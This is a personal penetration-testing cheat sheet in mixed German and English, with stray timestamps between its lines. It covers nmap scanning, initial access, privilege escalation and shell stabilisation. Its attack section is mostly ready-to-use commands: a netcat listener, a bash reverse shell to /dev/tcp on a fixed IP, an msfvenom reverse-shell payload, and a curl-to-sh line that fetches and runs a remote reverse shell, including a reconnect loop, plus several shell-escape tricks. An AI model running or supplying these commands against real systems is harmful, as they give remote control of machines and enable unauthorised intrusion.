2025-06-10 17:23:40 +02:00
#### to install:
- magic wormhole
- tldr
- rlwrap
-
```bash
sudo apt update --fix-missing && sudo apt install magic-wormhole tealdeer rlwrap
```
#### for keyring
-> if there is some kind of keyring error
```bash
sudo wget https://archive.kali.org/archive-keyring.gpg -O /usr/share/keyrings/kali-archive-keyring.gpg
```
# information gathering
### nmap
for quick scan of available ips
```bash
nmap -sn ip/24
```
to filter output for open ips
```bash
nmap -sn 192.168.1.0/24 | grep "for " | awk '{print $5}' > ips.txt
```
2025-06-15 12:31:18 +02:00
scan open ports:
2025-06-10 17:23:40 +02:00
```bash
nmap -sCV -A -p $(nmap 192.168.1.155 -p- | grep open | awk -F '/' '{print $1}' | tr '\n' ',' | sed 's/.$//') 192.168.1.155
```
2025-06-15 12:31:18 +02:00
#### bei windows
```bash
nmap --vuln ip
```
##### bei windows \+ smb
```bash
nmap --script vuln-smb* ip
nicht mehr sicher welches es war
nmap --script smb-vuln* ip
```
2025-06-10 17:23:40 +02:00
2025-06-15 12:31:18 +02:00
# inital access
### start listener:
```bash
rlwrap -cAr nc -nlvp 9002
```
### reverse shell bash:
```bash
/bin/bash -i >& /dev/tcp/192.168.1.157/9002 0>&1
```
### reverse shell file:
```bash
msfvenom -p cmd/unix/reverse_python LHOST=192.168.1.157 LPORT=9002 -f raw -o rev.py
```
-> from revshells.com
2025-06-10 17:23:40 +02:00
2025-06-15 12:31:18 +02:00
### untested:
Reverse Shell as a Service
2025-06-10 17:23:40 +02:00
2025-06-15 12:31:18 +02:00
1. On your machine:
```bash
nc -l 1337
or nlvp?
```
2025-06-10 17:23:40 +02:00
2025-06-15 12:31:18 +02:00
2. On the target machine:
```bash
curl https://reverse-shell.sh/yourip:1337 | sh
```
2025-06-10 17:23:40 +02:00
2025-06-15 12:31:18 +02:00
#### reconnecting:
```bash
while true; do curl https://reverse-shell.sh/yourip:1337 | sh; done
```
2025-06-10 17:23:40 +02:00
2025-06-15 12:31:18 +02:00
# privilege escalation
### always run these:
```bash
sudo -l
```
if sudo doesn't work:
[[#^78d3ce|spawn shell]]
#### check cronjobs
```bash
ls /etc/cron.*
crontab -l
```
2025-06-10 17:23:40 +02:00
## TTY Spawn Shell
2025-06-15 12:31:18 +02:00
##### if sudo still doesn't work
use
```bash
sudo -S command
```
2025-06-10 17:23:40 +02:00
2025-06-15 12:31:18 +02:00
Often during pen tests you may obtain a shell without having tty, yet wish to interact further with the system. Here are some commands which will allow you to spawn a tty shell. Obviously some of this will depend on the system environment and installed packages.
2025-06-10 17:23:40 +02:00
### Python spawn shell
2025-06-15 12:31:18 +02:00
```bash
2025-06-10 17:23:40 +02:00
python -c 'import pty; pty.spawn("/bin/bash")'
2025-06-15 12:31:18 +02:00
```
2025-06-10 17:23:40 +02:00
Fully Interactive TTY
#### All the steps to stabilize your shell
**The first step:**
2025-06-15 12:31:18 +02:00
```bash
2025-06-10 17:23:40 +02:00
python3 -c 'import pty;pty.spawn("/bin/bash")'
2025-06-15 12:31:18 +02:00
```
2025-06-10 17:23:40 +02:00
Which uses Python to spawn a better-featured bash shell. At this point, our shell will look a bit prettier, but we still won’ t be able to use tab autocomplete or the arrow keys.
**Step two is:**
2025-06-15 12:31:18 +02:00
```bash
2025-06-10 17:23:40 +02:00
export TERM=xterm
2025-06-15 12:31:18 +02:00
```
2025-06-10 17:23:40 +02:00
This will give us access to term commands such as clear.
**Finally (and most importantly) we will background the shell using**
2025-06-15 12:31:18 +02:00
```bash
2025-06-10 17:23:40 +02:00
Ctrl + Z
2025-06-15 12:31:18 +02:00
```
2025-06-10 17:23:40 +02:00
Back in our own terminal we use
2025-06-15 12:31:18 +02:00
```bash
2025-06-10 17:23:40 +02:00
stty raw -echo; fg
2025-06-15 12:31:18 +02:00
```
2025-06-10 17:23:40 +02:00
This does two things: first, it turns off our own terminal echo which gives us access to tab autocompletes, the arrow keys, and Ctrl + C to kill processes
2025-06-15 12:31:18 +02:00
```bash
2025-06-10 17:23:40 +02:00
stty rows 38 columns 116
2025-06-15 12:31:18 +02:00
```
2025-06-10 17:23:40 +02:00
### OS system spawn shell
2025-06-15 12:31:18 +02:00
```bash
2025-06-10 17:23:40 +02:00
echo os.system("/bin/bash")
2025-06-15 12:31:18 +02:00
```
2025-06-10 17:23:40 +02:00
### Bash spawn shell
2025-06-15 12:31:18 +02:00
```bash
2025-06-10 17:23:40 +02:00
/bin/sh -i
2025-06-15 12:31:18 +02:00
```
2025-06-10 17:23:40 +02:00
### Perl spawn shell
2025-06-15 12:31:18 +02:00
```bash
2025-06-10 17:23:40 +02:00
perl —e 'exec "/bin/sh";'
2025-06-15 12:31:18 +02:00
```
2025-06-10 17:23:40 +02:00
### Ruby spawn shell
ruby: exec "/bin/sh"
### Lua spawn shell
lua: os.execute("/bin/sh")
### IRB spawn shell
exec "/bin/sh"
### VI spawn shell
2025-06-15 12:31:18 +02:00
```bash
2025-06-10 17:23:40 +02:00
:!bash
2025-06-15 12:31:18 +02:00
```
2025-06-10 17:23:40 +02:00
### VI(2) spawn shell
2025-06-15 12:31:18 +02:00
```bash
2025-06-10 17:23:40 +02:00
:set shell=/bin/bash:shell
2025-06-15 12:31:18 +02:00
```
2025-06-10 17:23:40 +02:00
### Nmap spawn shell
2025-06-15 12:31:18 +02:00
```bash
2025-06-10 17:23:40 +02:00
!sh
2025-06-15 12:31:18 +02:00
```
#### Exiftools
Metadaten auslesen:
```bash
exiftool picture.png
```
Binwalk (Binary Daten exportieren):
```bash
binwalk -e picture.png
```